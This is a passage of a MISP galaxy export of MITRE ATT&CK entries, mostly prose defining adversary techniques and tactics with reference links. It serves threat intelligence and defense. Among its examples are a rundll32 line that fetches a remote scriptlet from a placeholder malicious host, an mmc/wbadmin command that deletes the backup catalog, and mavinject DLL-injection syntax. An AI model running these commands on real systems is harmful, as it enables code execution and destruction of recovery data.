Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).

The tag is: *misp-galaxy:mitre-attack-pattern="Botnet - T1584.005"*

Table 9099. Table References

Links
https://attack.mitre.org/techniques/T1584/005
https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

CDNs - T1596.004

Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.

Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be

hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization's website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).

The tag is: *misp-galaxy:mitre-attack-pattern="CDNs - T1596.004"*

Table 9100. Table References

Links
https://attack.mitre.org/techniques/T1596/004
https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/

Exploits - T1587.004

Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)

As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploits - T1587.004"*

Table 9101. Table References

Links

https://attack.mitre.org/techniques/T1587/004
https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

Serverless - T1584.007

Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)

The tag is: *misp-galaxy:mitre-attack-pattern="Serverless - T1584.007"*

Table 9102. Table References

Links
https://attack.mitre.org/techniques/T1584/007
https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
https://blog.xpnsec.com/aws-lambda-redirector/
https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/
https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette

Exploits - T1588.005

Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)

In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation:

PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)

An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploits - T1588.005"*

Table 9103. Table References

Links
https://attack.mitre.org/techniques/T1588/005
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
https://www.exploit-db.com/
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage

Vulnerabilities - T1588.006

Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)

An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006"*

Table 9104. Table References

Links
https://attack.mitre.org/techniques/T1588/006
https://nvd.nist.gov/

Rundll32 - T1218.011

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).

Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)

Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).

Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

The tag is: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"*

Table 9105. Table References

Links
https://attack.mitre.org/techniques/T1218/011
https://github.com/gtworek/PSBits/tree/master/NoRunDll
https://lolbas-project.github.io/lolbas/Libraries/Ieframe/
https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/
https://www.attackify.com/blog/rundll32_execution_order/
https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/
https://www.stormshield.com/news/poweliks-command-line-confusion/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

Verclsid - T1218.012

Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)

The tag is: *misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012"*

Table 9106. Table References

Links
https://attack.mitre.org/techniques/T1218/012
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
https://redcanary.com/blog/verclsid-exe-threat-detection/
https://winosbite.com/verclsid-exe/

Mavinject - T1218.013

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)

The tag is: *misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013"*

Table 9107. Table References

Links
https://attack.mitre.org/techniques/T1218/013
https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution
https://lolbas-project.github.io/lolbas/Binaries/Mavinject/
https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e
https://reaqta.com/2017/12/mavinject-microsoft-injector/

MMC - T1218.014

Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)

For example, <code>mmc C:\Users\foo\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window.

Adversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit

System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)

Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\path\to\test.msc</code>.(Citation: abusing_com_reg)

The tag is: *misp-galaxy:mitre-attack-pattern="MMC - T1218.014"*

Table 9108. Table References

Links
https://attack.mitre.org/techniques/T1218/014
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog
https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/
https://www.ghacks.net/2017/06/10/windows-msc-files-overview/
https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection

COR_PROFILER - T1574.012

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the

profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012"*

Table 9109. Table References

Links
https://attack.mitre.org/techniques/T1574/012
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
https://github.com/OmerYa/Invisi-Shell
https://offsec.almond.consulting/UAC-bypass-dotnet.html
https://redcanary.com/blog/blue-mockingbird-cryptominer/
https://redcanary.com/blog/cor_profiler-for-persistence/
https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html

KernelCallbackTable - T1574.013

Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)

An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.

A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex:

via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013"*

Table 9110. Table References

Links
https://attack.mitre.org/techniques/T1574/013
https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

Emond - T1546.014

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.

The tag is: *misp-galaxy:mitre-attack-pattern="Emond - T1546.014"*

Table 9111. Table References

Links
http://www.magnusviri.com/Mac/what-is-emond.html
https://attack.mitre.org/techniques/T1546/014
https://www.sentinelone.com/blog/how-malware-persists-on-macos/
https://www.xorrior.com/emond-persistence/

AppDomainManager - T1574.014

Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains)

Known as "AppDomainManager injection," adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)

The tag is: *misp-galaxy:mitre-attack-pattern="AppDomainManager - T1574.014"*

Table 9112. Table References

Links
https://attack.mitre.org/techniques/T1574/014
https://learn.microsoft.com/dotnet/framework/app-domains/application-domains
https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/

Rc.common - T1163

During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start

of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

The tag is: *misp-galaxy:mitre-attack-pattern="Rc.common - T1163"*

Table 9113. Table References

Links
https://attack.mitre.org/techniques/T1163
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Regsvcs/Regasm - T1121

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121"*

Table 9114. Table References

Links
https://attack.mitre.org/techniques/T1121
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx

Exfiltration - TA0010

The adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once

they've collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration - TA0010"*

Table 9115. Table References

Links
https://attack.mitre.org/tactics/TA0010

Execution - TA0002

The adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.

The tag is: *misp-galaxy:mitre-attack-pattern="Execution - TA0002"*

Table 9116. Table References

Links
https://attack.mitre.org/tactics/TA0002

Persistence - TA0003

The adversary is trying to maintain their foothold.

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.

The tag is: *misp-galaxy:mitre-attack-pattern="Persistence - TA0003"*

Table 9117. Table References

Links
https://attack.mitre.org/tactics/TA0003

Impact - TA0040

The adversary is trying to manipulate, interrupt, or destroy your systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.

The tag is: *misp-galaxy:mitre-attack-pattern="Impact - TA0040"*

Table 9118. Table References

Links
https://attack.mitre.org/tactics/TA0040

Discovery - TA0007

The adversary is trying to figure out your environment.

Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.

The tag is: *misp-galaxy:mitre-attack-pattern="Discovery - TA0007"*

Table 9119. Table References

Links
https://attack.mitre.org/tactics/TA0007

Collection - TA0009

The adversary is trying to gather data of interest to their goal.

Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to either steal (exfiltrate) the data or to use the data to gain more information about the target environment. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.

The tag is: *misp-galaxy:mitre-attack-pattern="Collection - TA0009"*

Table 9120. Table References

Links
https://attack.mitre.org/tactics/TA0009

Execution - TA0041

The adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a mobile device. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data.

The tag is: *misp-galaxy:mitre-attack-pattern="Execution - TA0041"*

Table 9121. Table References

Links
https://attack.mitre.org/tactics/TA0041

Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy - T1090"*

Table 9122. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1090

Discovery - TA0032

The adversary is trying to figure out your environment.

Discovery consists of techniques that allow the adversary to gain knowledge about the characteristics of the mobile device and potentially other networked systems. When adversaries gain access to a new system, they must orient themselves to what they now have control of and what benefits operating from that system give to their current objective or overall goals during the

intrusion. The operating system may provide capabilities that aid in this post-compromise information-gathering phase.

The tag is: *misp-galaxy:mitre-attack-pattern="Discovery - TA0032"*

Table 9123. Table References

Links
https://attack.mitre.org/tactics/TA0032

Persistence - TA0028

```
The adversary is trying to maintain their foothold.
```

Persistence is any access, action, or configuration change to a mobile device that gives an attacker a persistent presence on the device. Attackers often will need to maintain access to mobile devices through interruptions such as device reboots and potentially even factory data resets.

The tag is: *misp-galaxy:mitre-attack-pattern="Persistence - TA0028"*

Table 9124. Table References

Links
https://attack.mitre.org/tactics/TA0028

Impact - TA0034

The adversary is trying to manipulate, interrupt, or destroy your devices and data.

The impact tactic consists of techniques used by the adversary to execute his or her mission objectives but that do not cleanly fit into another category such as Collection. Mission objectives vary based on each adversary's goals, but examples include toll fraud, destruction of device data, or locking the user out of his or her device until a ransom is paid.

The tag is: *misp-galaxy:mitre-attack-pattern="Impact - TA0034"*

Table 9125. Table References

Links
https://attack.mitre.org/tactics/TA0034

Reconnaissance - TA0043

The adversary is trying to gather information they can use to plan future operations.

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the

adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.

The tag is: *misp-galaxy:mitre-attack-pattern="Reconnaissance - TA0043"*

Table 9126. Table References

Links
https://attack.mitre.org/tactics/TA0043

Collection - TA0035

